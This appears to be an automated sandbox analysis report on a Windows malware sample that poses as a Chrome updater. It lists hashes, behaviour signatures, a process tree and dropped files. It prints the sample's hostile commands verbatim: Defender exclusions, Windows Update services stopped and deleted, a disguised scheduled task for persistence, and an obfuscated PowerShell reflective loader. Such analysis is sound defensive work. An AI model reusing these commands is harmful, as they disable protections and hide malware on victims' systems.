Analysis
-
max time kernel
67s -
max time network
33s -
platform
windows7_x64 -
resource
win7-20230621-en -
resource tags
arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system -
submitted
30-06-2023 11:51
Static task
static1
Behavioral task
behavioral1
Sample
dmi1dfg7n.exe
Resource
win7-20230621-en
Behavioral task
behavioral2
Sample
dmi1dfg7n.exe
Resource
win10v2004-20230621-en
General
-
Target
dmi1dfg7n.exe
-
Size
2.8MB
-
MD5
9253ed091d81e076a3037e12af3dc871
-
SHA1
ec02829a25b3bf57ad061bbe54180d0c99c76981
-
SHA256
78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
-
SHA512
29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
-
SSDEEP
49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 1728 created 416 1728 powershell.EXE winlogon.exe PID 1980 created 416 1980 powershell.EXE winlogon.exe -
Stops running service(s) 3 TTPs
-
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 608 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1180 taskeng.exe -
Drops file in System32 directory 4 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
dmi1dfg7n.exepowershell.EXEpowershell.EXEdescription pid process target process PID 1120 set thread context of 1460 1120 dmi1dfg7n.exe dialer.exe PID 1728 set thread context of 1820 1728 powershell.EXE dllhost.exe PID 1980 set thread context of 1624 1980 powershell.EXE dllhost.exe -
Drops file in Program Files directory 1 IoCs
Processes:
dmi1dfg7n.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe dmi1dfg7n.exe -
Drops file in Windows directory 6 IoCs
Processes:
svchost.exedialer.exedescription ioc process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe File opened for modification C:\Windows\Tasks\dialersvc32.job svchost.exe File created C:\Windows\Tasks\dialersvc32.job dialer.exe File opened for modification C:\Windows\Tasks\dialersvc32.job dialer.exe File created C:\Windows\Tasks\dialersvc64.job dialer.exe File opened for modification C:\Windows\Tasks\dialersvc64.job dialer.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 656 sc.exe 1412 sc.exe 1012 sc.exe 1556 sc.exe 1544 sc.exe 1824 sc.exe 1184 sc.exe 1744 sc.exe 1568 sc.exe 1472 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.EXEdescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 005c875149abd901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 61 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exepowershell.exepowershell.exepowershell.EXEdllhost.exepid process 1172 powershell.exe 1144 powershell.exe 1900 powershell.exe 1728 powershell.EXE 1728 powershell.EXE 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1988 powershell.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1408 powershell.exe 1820 dllhost.exe 1980 powershell.EXE 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1980 powershell.EXE 1820 dllhost.exe 1820 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1820 dllhost.exe 1820 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 21 IoCs
Processes:
powershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowershell.EXEdllhost.exesvchost.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowershell.EXEpowercfg.exedllhost.exepowercfg.exedescription pid process Token: SeDebugPrivilege 1172 powershell.exe Token: SeDebugPrivilege 1144 powershell.exe Token: SeShutdownPrivilege 1800 powercfg.exe Token: SeShutdownPrivilege 1988 powercfg.exe Token: SeShutdownPrivilege 1336 powercfg.exe Token: SeShutdownPrivilege 1992 powercfg.exe Token: SeDebugPrivilege 1900 powershell.exe Token: SeDebugPrivilege 1728 powershell.EXE Token: SeDebugPrivilege 1728 powershell.EXE Token: SeDebugPrivilege 1820 dllhost.exe Token: SeAuditPrivilege 844 svchost.exe Token: SeDebugPrivilege 1988 powershell.exe Token: SeShutdownPrivilege 920 powercfg.exe Token: SeAuditPrivilege 844 svchost.exe Token: SeDebugPrivilege 1408 powershell.exe Token: SeShutdownPrivilege 1656 powercfg.exe Token: SeDebugPrivilege 1980 powershell.EXE Token: SeShutdownPrivilege 1452 powercfg.exe Token: SeDebugPrivilege 1980 powershell.EXE Token: SeDebugPrivilege 1624 dllhost.exe Token: SeShutdownPrivilege 2036 powercfg.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
dmi1dfg7n.execmd.execmd.exepowershell.exedescription pid process target process PID 1120 wrote to memory of 1172 1120 dmi1dfg7n.exe powershell.exe PID 1120 wrote to memory of 1172 1120 dmi1dfg7n.exe powershell.exe PID 1120 wrote to memory of 1172 1120 dmi1dfg7n.exe powershell.exe PID 1120 wrote to memory of 268 1120 dmi1dfg7n.exe cmd.exe PID 1120 wrote to memory of 268 1120 dmi1dfg7n.exe cmd.exe PID 1120 wrote to memory of 268 1120 dmi1dfg7n.exe cmd.exe PID 1120 wrote to memory of 520 1120 dmi1dfg7n.exe cmd.exe PID 1120 wrote to memory of 520 1120 dmi1dfg7n.exe cmd.exe PID 1120 wrote to memory of 520 1120 dmi1dfg7n.exe cmd.exe PID 1120 wrote to memory of 1144 1120 dmi1dfg7n.exe powershell.exe PID 1120 wrote to memory of 1144 1120 dmi1dfg7n.exe powershell.exe PID 1120 wrote to memory of 1144 1120 dmi1dfg7n.exe powershell.exe PID 268 wrote to memory of 1412 268 cmd.exe sc.exe PID 268 wrote to memory of 1412 268 cmd.exe sc.exe PID 268 wrote to memory of 1412 268 cmd.exe sc.exe PID 268 wrote to memory of 1012 268 cmd.exe sc.exe PID 268 wrote to memory of 1012 268 cmd.exe sc.exe PID 268 wrote to memory of 1012 268 cmd.exe sc.exe PID 268 wrote to memory of 1556 268 cmd.exe sc.exe PID 268 wrote to memory of 1556 268 cmd.exe sc.exe PID 268 wrote to memory of 1556 268 cmd.exe sc.exe PID 268 wrote to memory of 1544 268 cmd.exe sc.exe PID 268 wrote to memory of 1544 268 cmd.exe sc.exe PID 268 wrote to memory of 1544 268 cmd.exe sc.exe PID 268 wrote to memory of 1824 268 cmd.exe sc.exe PID 268 wrote to memory of 1824 268 cmd.exe sc.exe PID 268 wrote to memory of 1824 268 cmd.exe sc.exe PID 268 wrote to memory of 1136 268 cmd.exe reg.exe PID 268 wrote to memory of 1136 268 cmd.exe reg.exe PID 268 wrote to memory of 1136 268 cmd.exe reg.exe PID 520 wrote to memory of 1800 520 cmd.exe powercfg.exe PID 520 wrote to memory of 1800 520 cmd.exe powercfg.exe PID 520 wrote to memory of 1800 520 cmd.exe powercfg.exe PID 268 wrote to memory of 1528 268 cmd.exe reg.exe PID 268 wrote to memory of 1528 268 cmd.exe reg.exe PID 268 wrote to memory of 1528 268 cmd.exe reg.exe PID 268 wrote to memory of 1388 268 cmd.exe reg.exe PID 268 wrote to memory of 1388 268 cmd.exe reg.exe PID 268 wrote to memory of 1388 268 cmd.exe reg.exe PID 268 wrote to memory of 1700 268 cmd.exe reg.exe PID 268 wrote to memory of 1700 268 cmd.exe reg.exe PID 268 wrote to memory of 1700 268 cmd.exe reg.exe PID 268 wrote to memory of 2008 268 cmd.exe reg.exe PID 268 wrote to memory of 2008 268 cmd.exe reg.exe PID 268 wrote to memory of 2008 268 cmd.exe reg.exe PID 520 wrote to memory of 1988 520 cmd.exe powercfg.exe PID 520 wrote to memory of 1988 520 cmd.exe powercfg.exe PID 520 wrote to memory of 1988 520 cmd.exe powercfg.exe PID 520 wrote to memory of 1336 520 cmd.exe powercfg.exe PID 520 wrote to memory of 1336 520 cmd.exe powercfg.exe PID 520 wrote to memory of 1336 520 cmd.exe powercfg.exe PID 520 wrote to memory of 1992 520 cmd.exe powercfg.exe PID 520 wrote to memory of 1992 520 cmd.exe powercfg.exe PID 520 wrote to memory of 1992 520 cmd.exe powercfg.exe PID 1144 wrote to memory of 940 1144 powershell.exe schtasks.exe PID 1144 wrote to memory of 940 1144 powershell.exe schtasks.exe PID 1144 wrote to memory of 940 1144 powershell.exe schtasks.exe PID 1120 wrote to memory of 1460 1120 dmi1dfg7n.exe dialer.exe PID 1120 wrote to memory of 1460 1120 dmi1dfg7n.exe dialer.exe PID 1120 wrote to memory of 1460 1120 dmi1dfg7n.exe dialer.exe PID 1120 wrote to memory of 1460 1120 dmi1dfg7n.exe dialer.exe PID 1120 wrote to memory of 1900 1120 dmi1dfg7n.exe powershell.exe PID 1120 wrote to memory of 1900 1120 dmi1dfg7n.exe powershell.exe PID 1120 wrote to memory of 1900 1120 dmi1dfg7n.exe powershell.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {C7BBA5FA-F3E7-4487-84C6-FB71C936212C} S-1-5-18:NT AUTHORITY\System:Service:2⤵
- Loads dropped DLL
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"3⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f5⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f5⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f5⤵
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"5⤵
- Creates scheduled task(s)
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe xtrjicqmdliu4⤵
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor5⤵
- Detects videocard installed
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"2⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f4⤵
- Modifies security service
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC4⤵
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch1⤵
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ebfa8b03-06ef-4852-88f3-14940f209df9}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{0ec11474-56ca-44d0-b2b6-ebf485d3b8a0}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "15073219021302175742-1866040008-306109247-1420620519-7832080733402890931186932622"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1226829961-20152427921581313711-1836429798-6087085971897435839-13377746902088186220"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-191758443848020908-1636776470-13518585881059605932-918371028146781599042225189"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "19516029413284848772004481191-14736847696842050321813094701980447348827979074"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "6255477441822219471-1988948385-11688184806275676041781408991-1941909665-1851994427"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.8MB
MD5eb27bb8cfa99d659e4fe023e9002ecd1
SHA1c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA2569c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
SHA512ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5d769868a8405c48b1bcc454cf9eeb0c6
SHA19b41bf0ae00c9fd5b411f35eddd8e9b5b83e4824
SHA2568800be7fe759cb1f3c664c7e6621a198557b29e67809a47b20cbc999eecfd95e
SHA5128bac2609878f37772cc6fc2bdd0642f43130c95474728ff28f0b01aa0fb7667d069a677207832d991d3a6922c442856f52b3bed670927af3dabd34cfd367e76e
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5d769868a8405c48b1bcc454cf9eeb0c6
SHA19b41bf0ae00c9fd5b411f35eddd8e9b5b83e4824
SHA2568800be7fe759cb1f3c664c7e6621a198557b29e67809a47b20cbc999eecfd95e
SHA5128bac2609878f37772cc6fc2bdd0642f43130c95474728ff28f0b01aa0fb7667d069a677207832d991d3a6922c442856f52b3bed670927af3dabd34cfd367e76e
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RBQHANH3X5SG8ZMJZAIJ.tempFilesize
7KB
MD5d769868a8405c48b1bcc454cf9eeb0c6
SHA19b41bf0ae00c9fd5b411f35eddd8e9b5b83e4824
SHA2568800be7fe759cb1f3c664c7e6621a198557b29e67809a47b20cbc999eecfd95e
SHA5128bac2609878f37772cc6fc2bdd0642f43130c95474728ff28f0b01aa0fb7667d069a677207832d991d3a6922c442856f52b3bed670927af3dabd34cfd367e76e
-
C:\Windows\Tasks\dialersvc32.jobFilesize
1KB
MD504857ee187d1761853eac3babdb19646
SHA1a841d536403aa9573b32e4fc822f7f058ca6e1ca
SHA25673ee03f2fbe62b302841120b19c8da26ff6bb1e54ad284d3301056aa68936666
SHA512aaa69c9057290ab0d6514131a9e5b358db2dc5595f8482f6f366625e2938023b3baf72ddf9c190d2c4c893fcf293390cdd4e731ce99817981e8ab6a6f1598d86
-
\Program Files\Google\Chrome\updater.exeFilesize
2.8MB
MD5eb27bb8cfa99d659e4fe023e9002ecd1
SHA1c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA2569c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
SHA512ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
-
memory/284-235-0x0000000000A50000-0x0000000000A7A000-memory.dmpFilesize
168KB
-
memory/284-238-0x00000000379B0000-0x00000000379C0000-memory.dmpFilesize
64KB
-
memory/416-120-0x000007FEBF470000-0x000007FEBF480000-memory.dmpFilesize
64KB
-
memory/416-119-0x0000000000A10000-0x0000000000A3A000-memory.dmpFilesize
168KB
-
